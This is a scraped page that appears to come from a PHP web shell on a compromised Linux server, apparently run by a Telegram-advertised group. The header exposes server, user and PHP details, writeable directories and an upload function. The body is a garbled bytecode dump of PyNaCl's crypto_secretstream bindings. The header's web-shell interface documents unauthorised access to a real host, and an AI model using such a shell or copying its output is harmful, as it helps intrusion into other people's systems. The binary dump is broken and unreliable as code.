https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/nacl/bindings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/nacl/bindings/crypto_secretstream.pyc
�
y�\c@`sddlmZmZmZddlmZddlmZm	Z	ddl
mZe	j�Z
e	j�Ze	j�Ze	j�Ze	j�Ze	j�Ze	j�Ze	j�Ze	j�Zd�Zdefd��YZ d�Z!d
ed	�Z#d
�Z$d
d�Z%d�Z&d
S(i(tabsolute_importtdivisiontprint_function(t
exceptions(tffitlib(tensurecC`s-tjdt�}tj|�tj|�S(sd
    Generate a key for use with
    :func:`.crypto_secretstream_xchacha20poly1305_init_push`.

    sunsigned char[](Rtnewt.crypto_secretstream_xchacha20poly1305_KEYBYTESRt,crypto_secretstream_xchacha20poly1305_keygentbuffer(tkeybuf((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR	,s
	
t+crypto_secretstream_xchacha20poly1305_statecB`s&eZdZdddgZd�ZRS(sN
    An object wrapping the crypto_secretstream_xchacha20poly1305 state.

    tstatebuftrawbufttagbufcC`s+tjdt�|_d|_d|_dS(s! Initialize a clean state object.sunsigned char[]N(RRt0crypto_secretstream_xchacha20poly1305_STATEBYTESR
tNoneRR(tself((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyt__init__As
	(t__name__t
__module__t__doc__t	__slots__R(((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR:scC`s�tt|t�ddtj�tt|t�ddtj�tt|�tkddtj�t	j
dt�}tj
|j||�}t|dkddtj�t	j|�S(s\
    Initialize a crypto_secretstream_xchacha20poly1305 encryption buffer.

    :param state: a secretstream state object
    :type state: crypto_secretstream_xchacha20poly1305_state
    :param key: must be
                :data:`.crypto_secretstream_xchacha20poly1305_KEYBYTES` long
    :type key: bytes
    :return: header
    :rtype: bytes

    sBState must be a crypto_secretstream_xchacha20poly1305_state objecttraisingsKey must be a bytes sequencesInvalid key lengthsunsigned char []isUnexpected failure(Rt
isinstanceRtexct	TypeErrortbytestlenRt
ValueErrorRRt1crypto_secretstream_xchacha20poly1305_HEADERBYTESRt/crypto_secretstream_xchacha20poly1305_init_pushR
tRuntimeErrorR
(tstatetkeyt	headerbuftrc((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR Ls&



	cC`sdtt|t�ddtj�tt|t�ddtj�tt|�tkddtj�t|d	kp{t|t�ddtj�t|�t
}|jd	ks�t|j�|kr�tj
d|�|_n|d	kr�tj}d}nt|�}tj|j|jtj|t|�|||�}t|dkddtj�tj|j|�S(
s�
    Add an encrypted message to the secret stream.

    :param state: a secretstream state object
    :type state: crypto_secretstream_xchacha20poly1305_state
    :param m: the message to encrypt, the maximum length of an individual
              message is
              :data:`.crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX`.
    :type m: bytes
    :param ad: additional data to include in the authentication tag
    :type ad: bytes or None
    :param tag: the message tag, usually
                :data:`.crypto_secretstream_xchacha20poly1305_TAG_MESSAGE` or
                :data:`.crypto_secretstream_xchacha20poly1305_TAG_FINAL`.
    :type tag: int
    :return: ciphertext
    :rtype: bytes

    sBState must be a crypto_secretstream_xchacha20poly1305_state objectRsMessage is not bytessMessage is too longs%Additional data must be bytes or Nonesunsigned char[]isUnexpected failureN(RRRRRRRt6crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAXRRt,crypto_secretstream_xchacha20poly1305_ABYTESRRRtNULLRt*crypto_secretstream_xchacha20poly1305_pushR
R!R
(R"tmtadttagtclentadlenR%((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR)us8


$			cC`s�tt|t�ddtj�tt|t�ddtj�tt|�tkddtj�tt|t�ddtj�tt|�t	kddtj�|j
d
kr�tj
d�|_
ntj|j||�}t|dkd	dtj�d
S(s�
    Initialize a crypto_secretstream_xchacha20poly1305 decryption buffer.

    :param state: a secretstream state object
    :type state: crypto_secretstream_xchacha20poly1305_state
    :param header: must be
                :data:`.crypto_secretstream_xchacha20poly1305_HEADERBYTES` long
    :type header: bytes
    :param key: must be
                :data:`.crypto_secretstream_xchacha20poly1305_KEYBYTES` long
    :type key: bytes

    sBState must be a crypto_secretstream_xchacha20poly1305_state objectRsHeader must be a bytes sequencesInvalid header lengthsKey must be a bytes sequencesInvalid key lengthsunsigned char *isUnexpected failureN(RRRRRRRRRRRRRRRt/crypto_secretstream_xchacha20poly1305_init_pullR
R!(R"theaderR#R%((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR/�s2




cC`s�tt|t�ddtj�t|jdk	ddtj�tt|t�ddtj�tt	|�t
kddtj�tt	|�tt
kddtj�t|dkp�t|t�ddtj�t	|�t
}|jdkst	|j�|krt
jd|�|_n|dkr:t
j}d	}nt	|�}tj|j|jt
j|j|t	|�||�}t|d	kd
dtj�t
j|j|�t|jd	�fS(sM
    Read a decrypted message from the secret stream.

    :param state: a secretstream state object
    :type state: crypto_secretstream_xchacha20poly1305_state
    :param c: the ciphertext to decrypt, the maximum length of an individual
              ciphertext is
              :data:`.crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX` +
              :data:`.crypto_secretstream_xchacha20poly1305_ABYTES`.
    :type c: bytes
    :param ad: additional data to include in the authentication tag
    :type ad: bytes or None
    :return: (message, tag)
    :rtype: (bytes, int)

    sBState must be a crypto_secretstream_xchacha20poly1305_state objectRsOState must be initialized using crypto_secretstream_xchacha20poly1305_init_pullsCiphertext is not bytessCiphertext is too shortsCiphertext is too longs%Additional data must be bytes or Nonesunsigned char[]isUnexpected failureN(RRRRRRRRRRR'R&RRRR(Rt*crypto_secretstream_xchacha20poly1305_pullR
R!R
tint(R"tcR+tmlenR.R%((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR1�sR



	

$		cC`s3tt|t�ddtj�tj|j�dS(s�
    Explicitly change the encryption key in the stream.

    Normally the stream is re-keyed as needed or an explicit ``tag`` of
    :data:`.crypto_secretstream_xchacha20poly1305_TAG_REKEY` is added to a
    message to ensure forward secrecy, but this method can be used instead
    if the re-keying is controlled without adding the tag.

    :param state: a secretstream state object
    :type state: crypto_secretstream_xchacha20poly1305_state

    sBState must be a crypto_secretstream_xchacha20poly1305_state objectRN(RRRRRRt+crypto_secretstream_xchacha20poly1305_rekeyR
(R"((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyR51s


N('t
__future__RRRtnaclRRtnacl._sodiumRRtnacl.exceptionsRt,crypto_secretstream_xchacha20poly1305_abytesR't1crypto_secretstream_xchacha20poly1305_headerbytesRt.crypto_secretstream_xchacha20poly1305_keybytesRt6crypto_secretstream_xchacha20poly1305_messagebytes_maxR&t0crypto_secretstream_xchacha20poly1305_statebytesRt1crypto_secretstream_xchacha20poly1305_tag_messaget1crypto_secretstream_xchacha20poly1305_TAG_MESSAGEt.crypto_secretstream_xchacha20poly1305_tag_pusht.crypto_secretstream_xchacha20poly1305_TAG_PUSHt/crypto_secretstream_xchacha20poly1305_tag_rekeyt/crypto_secretstream_xchacha20poly1305_TAG_REKEYt/crypto_secretstream_xchacha20poly1305_tag_finalt/crypto_secretstream_xchacha20poly1305_TAG_FINALR	tobjectRR RR)R/R1R5(((sC/tmp/pip-install-A1qMVe/pynacl/nacl/bindings/crypto_secretstream.pyt<module>s(		,<	0L

https://t.me/AnonymousX5 - 2025